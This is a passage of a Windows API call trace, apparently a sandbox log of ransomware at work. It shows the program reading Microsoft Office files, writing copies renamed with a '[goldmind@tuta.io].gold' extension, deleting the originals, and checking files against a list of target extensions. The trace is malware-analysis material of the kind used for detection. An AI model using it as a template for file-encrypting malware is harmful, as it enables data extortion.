office\\office14\\1033\\outlook_col.hxc.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0105.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0105.184] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.184] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_col.hxc.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0105.185] GetLastError () returned 0x0 [0105.185] ReadFile (in: hFile=0x230, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x277, lpOverlapped=0x0) returned 1 [0105.291] WriteFile (in: hFile=0x194, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0x280, lpOverlapped=0x0) returned 1 [0105.292] ReadFile (in: hFile=0x230, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0105.292] WriteFile (in: hFile=0x194, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0105.292] SetEndOfFile (hFile=0x194) returned 1 [0105.292] CloseHandle (hObject=0x194) returned 1 [0105.292] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.292] SetEndOfFile (hFile=0x230) returned 1 [0105.294] CloseHandle (hObject=0x230) returned 1 [0105.294] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0105.294] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_col.hxc")) returned 1 [0105.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC") returned 63 [0105.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC") returned 63 [0105.295] lstrlenW (lpString=".doc") returned 4 [0105.295] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0105.295] lstrlenW (lpString=".docx") returned 5 [0105.295] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0105.295] lstrlenW (lpString=".pdf") returned 4 [0105.295] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0105.295] lstrlenW (lpString=".xls") returned 4 [0105.295] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0105.295] lstrlenW (lpString=".xlsx") returned 5 [0105.295] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0105.295] lstrlenW (lpString=".ppt") returned 4 [0105.295] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0105.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC") returned 63 [0105.295] lstrlenW (lpString=".zip") returned 4 [0105.295] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0105.295] lstrlenW (lpString=".rar") returned 4 [0105.295] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0105.295] lstrlenW (lpString=".bz2") returned 4 [0105.295] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0105.295] lstrlenW (lpString=".7z") returned 3 [0105.295] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0105.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC") returned 63 [0105.295] lstrlenW (lpString=".dbf") returned 4 [0105.295] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0105.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC") returned 63 [0105.295] lstrlenW (lpString=".1cd") returned 4 [0105.295] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0105.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC") returned 63 [0105.295] lstrlenW (lpString=".jpg") returned 4 [0105.295] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0105.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC") returned 63 [0105.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC") returned 63 [0105.295] lstrlenW (lpString=".doc") returned 4 [0105.296] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0105.296] lstrlenW (lpString=".docx") returned 5 [0105.296] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0105.296] lstrlenW (lpString=".pdf") returned 4 [0105.296] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0105.296] lstrlenW (lpString=".xls") returned 4 [0105.296] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0105.296] lstrlenW (lpString=".xlsx") returned 5 [0105.296] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0105.296] lstrlenW (lpString=".ppt") returned 4 [0105.296] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0105.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC") returned 63 [0105.296] lstrlenW (lpString=".zip") returned 4 [0105.296] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0105.296] lstrlenW (lpString=".rar") returned 4 [0105.296] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0105.296] lstrlenW (lpString=".bz2") returned 4 [0105.296] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0105.296] lstrlenW (lpString=".7z") returned 3 [0105.296] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0105.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC") returned 63 [0105.296] lstrlenW (lpString=".dbf") returned 4 [0105.296] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0105.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC") returned 63 [0105.296] lstrlenW (lpString=".1cd") returned 4 [0105.296] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0105.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC") returned 63 [0105.296] lstrlenW (lpString=".jpg") returned 4 [0105.296] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0105.296] lstrcmpiW (lpString1=".VSL", lpString2=".gold") returned 1 [0105.296] lstrlenW (lpString="PE.VSL") returned 6 [0105.296] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pe.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0105.317] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=84352) returned 1 [0105.317] CloseHandle (hObject=0x3ac) returned 1 [0105.317] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pe.vsl")) returned 0x20 [0105.318] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pe.vsl.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0105.318] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pe.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0105.318] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.318] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.318] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pe.vsl.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0105.319] GetLastError () returned 0x0 [0105.319] ReadFile (in: hFile=0x3ac, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x14980, lpOverlapped=0x0) returned 1 [0105.334] WriteFile (in: hFile=0x230, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0x14990, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0x14990, lpOverlapped=0x0) returned 1 [0105.340] ReadFile (in: hFile=0x3ac, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0105.340] WriteFile (in: hFile=0x230, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0105.340] SetEndOfFile (hFile=0x230) returned 1 [0105.340] CloseHandle (hObject=0x230) returned 1 [0105.340] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.340] SetEndOfFile (hFile=0x3ac) returned 1 [0105.470] CloseHandle (hObject=0x3ac) returned 1 [0105.470] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0105.580] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pe.vsl")) returned 1 [0105.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL") returned 54 [0105.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL") returned 54 [0105.580] lstrlenW (lpString=".doc") returned 4 [0105.580] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0105.580] lstrlenW (lpString=".docx") returned 5 [0105.580] lstrcmpiW (lpString1=".docx", lpString2="E.VSL") returned -1 [0105.580] lstrlenW (lpString=".pdf") returned 4 [0105.580] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0105.580] lstrlenW (lpString=".xls") returned 4 [0105.581] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0105.581] lstrlenW (lpString=".xlsx") returned 5 [0105.581] lstrcmpiW (lpString1=".xlsx", lpString2="E.VSL") returned -1 [0105.581] lstrlenW (lpString=".ppt") returned 4 [0105.581] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0105.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL") returned 54 [0105.581] lstrlenW (lpString=".zip") returned 4 [0105.581] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0105.581] lstrlenW (lpString=".rar") returned 4 [0105.581] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0105.581] lstrlenW (lpString=".bz2") returned 4 [0105.581] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0105.581] lstrlenW (lpString=".7z") returned 3 [0105.581] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0105.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL") returned 54 [0105.581] lstrlenW (lpString=".dbf") returned 4 [0105.581] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0105.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL") returned 54 [0105.581] lstrlenW (lpString=".1cd") returned 4 [0105.581] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0105.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL") returned 54 [0105.581] lstrlenW (lpString=".jpg") returned 4 [0105.581] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0105.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL") returned 54 [0105.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL") returned 54 [0105.581] lstrlenW (lpString=".doc") returned 4 [0105.581] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0105.581] lstrlenW (lpString=".docx") returned 5 [0105.581] lstrcmpiW (lpString1=".docx", lpString2="E.VSL") returned -1 [0105.581] lstrlenW (lpString=".pdf") returned 4 [0105.581] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0105.581] lstrlenW (lpString=".xls") returned 4 [0105.581] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0105.581] lstrlenW (lpString=".xlsx") returned 5 [0105.581] lstrcmpiW (lpString1=".xlsx", lpString2="E.VSL") returned -1 [0105.581] lstrlenW (lpString=".ppt") returned 4 [0105.581] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0105.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL") returned 54 [0105.581] lstrlenW (lpString=".zip") returned 4 [0105.581] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0105.581] lstrlenW (lpString=".rar") returned 4 [0105.581] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0105.581] lstrlenW (lpString=".bz2") returned 4 [0105.581] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0105.581] lstrlenW (lpString=".7z") returned 3 [0105.581] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0105.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL") returned 54 [0105.581] lstrlenW (lpString=".dbf") returned 4 [0105.581] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0105.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL") returned 54 [0105.581] lstrlenW (lpString=".1cd") returned 4 [0105.581] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0105.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL") returned 54 [0105.581] lstrlenW (lpString=".jpg") returned 4 [0105.582] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0105.582] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0105.582] lstrlenW (lpString="PJINTL.DLL") returned 10 [0105.582] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pjintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0105.953] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=3384192) returned 1 [0105.954] CloseHandle (hObject=0x39c) returned 1 [0105.954] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pjintl.dll")) returned 0x20 [0105.960] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pjintl.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0105.960] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pjintl.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pjintl.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0105.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL") returned 58 [0105.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL") returned 58 [0105.960] lstrlenW (lpString=".doc") returned 4 [0105.961] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0105.961] lstrlenW (lpString=".docx") returned 5 [0105.961] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0105.961] lstrlenW (lpString=".pdf") returned 4 [0105.961] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0105.961] lstrlenW (lpString=".xls") returned 4 [0105.961] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0105.961] lstrlenW (lpString=".xlsx") returned 5 [0105.961] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0105.961] lstrlenW (lpString=".ppt") returned 4 [0105.961] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0105.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL") returned 58 [0105.961] lstrlenW (lpString=".zip") returned 4 [0105.961] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0105.961] lstrlenW (lpString=".rar") returned 4 [0105.961] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0105.961] lstrlenW (lpString=".bz2") returned 4 [0105.961] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0105.961] lstrlenW (lpString=".7z") returned 3 [0105.961] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0105.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL") returned 58 [0105.961] lstrlenW (lpString=".dbf") returned 4 [0105.961] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0105.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL") returned 58 [0105.961] lstrlenW (lpString=".1cd") returned 4 [0105.961] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0105.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL") returned 58 [0105.961] lstrlenW (lpString=".jpg") returned 4 [0105.961] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0105.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL") returned 58 [0105.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL") returned 58 [0105.961] lstrlenW (lpString=".doc") returned 4 [0105.961] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0105.961] lstrlenW (lpString=".docx") returned 5 [0105.961] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0105.961] lstrlenW (lpString=".pdf") returned 4 [0105.961] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0105.961] lstrlenW (lpString=".xls") returned 4 [0105.961] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0105.961] lstrlenW (lpString=".xlsx") returned 5 [0105.961] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0105.961] lstrlenW (lpString=".ppt") returned 4 [0105.961] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0105.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL") returned 58 [0105.961] lstrlenW (lpString=".zip") returned 4 [0105.961] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0105.961] lstrlenW (lpString=".rar") returned 4 [0105.961] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0105.962] lstrlenW (lpString=".bz2") returned 4 [0105.962] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0105.962] lstrlenW (lpString=".7z") returned 3 [0105.962] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0105.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL") returned 58 [0105.962] lstrlenW (lpString=".dbf") returned 4 [0105.962] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0105.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL") returned 58 [0105.962] lstrlenW (lpString=".1cd") returned 4 [0105.962] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0105.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL") returned 58 [0105.962] lstrlenW (lpString=".jpg") returned 4 [0105.962] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0105.962] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0105.962] lstrlenW (lpString="PUB6INTL.DLL") returned 12 [0105.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0105.973] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=6982504) returned 1 [0105.973] CloseHandle (hObject=0x39c) returned 1 [0105.974] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.dll")) returned 0x20 [0106.037] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0106.049] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pub6intl.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0106.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL") returned 60 [0106.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL") returned 60 [0106.066] lstrlenW (lpString=".doc") returned 4 [0106.067] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0106.067] lstrlenW (lpString=".docx") returned 5 [0106.067] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0106.067] lstrlenW (lpString=".pdf") returned 4 [0106.067] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0106.067] lstrlenW (lpString=".xls") returned 4 [0106.067] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0106.067] lstrlenW (lpString=".xlsx") returned 5 [0106.067] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0106.067] lstrlenW (lpString=".ppt") returned 4 [0106.067] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0106.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL") returned 60 [0106.067] lstrlenW (lpString=".zip") returned 4 [0106.067] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0106.067] lstrlenW (lpString=".rar") returned 4 [0106.067] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0106.067] lstrlenW (lpString=".bz2") returned 4 [0106.067] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0106.067] lstrlenW (lpString=".7z") returned 3 [0106.067] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0106.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL") returned 60 [0106.067] lstrlenW (lpString=".dbf") returned 4 [0106.067] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0106.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL") returned 60 [0106.067] lstrlenW (lpString=".1cd") returned 4 [0106.067] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0106.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL") returned 60 [0106.067] lstrlenW (lpString=".jpg") returned 4 [0106.067] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0106.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL") returned 60 [0106.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL") returned 60 [0106.067] lstrlenW (lpString=".doc") returned 4 [0106.067] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0106.067] lstrlenW (lpString=".docx") returned 5 [0106.067] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0106.067] lstrlenW (lpString=".pdf") returned 4 [0106.067] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0106.068] lstrlenW (lpString=".xls") returned 4 [0106.068] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0106.068] lstrlenW (lpString=".xlsx") returned 5 [0106.068] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0106.068] lstrlenW (lpString=".ppt") returned 4 [0106.068] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0106.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUB6INTL.DLL") returned 60 [0106.068] lstrlenW (lpString=".zip") returned 4 [0106.068] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0106.068] lstrlenW (lpString=".rar") returned 4 [0106.068] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0106.068] lstrlenW (lpString=".bz2") returned 4 [0106.068] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") 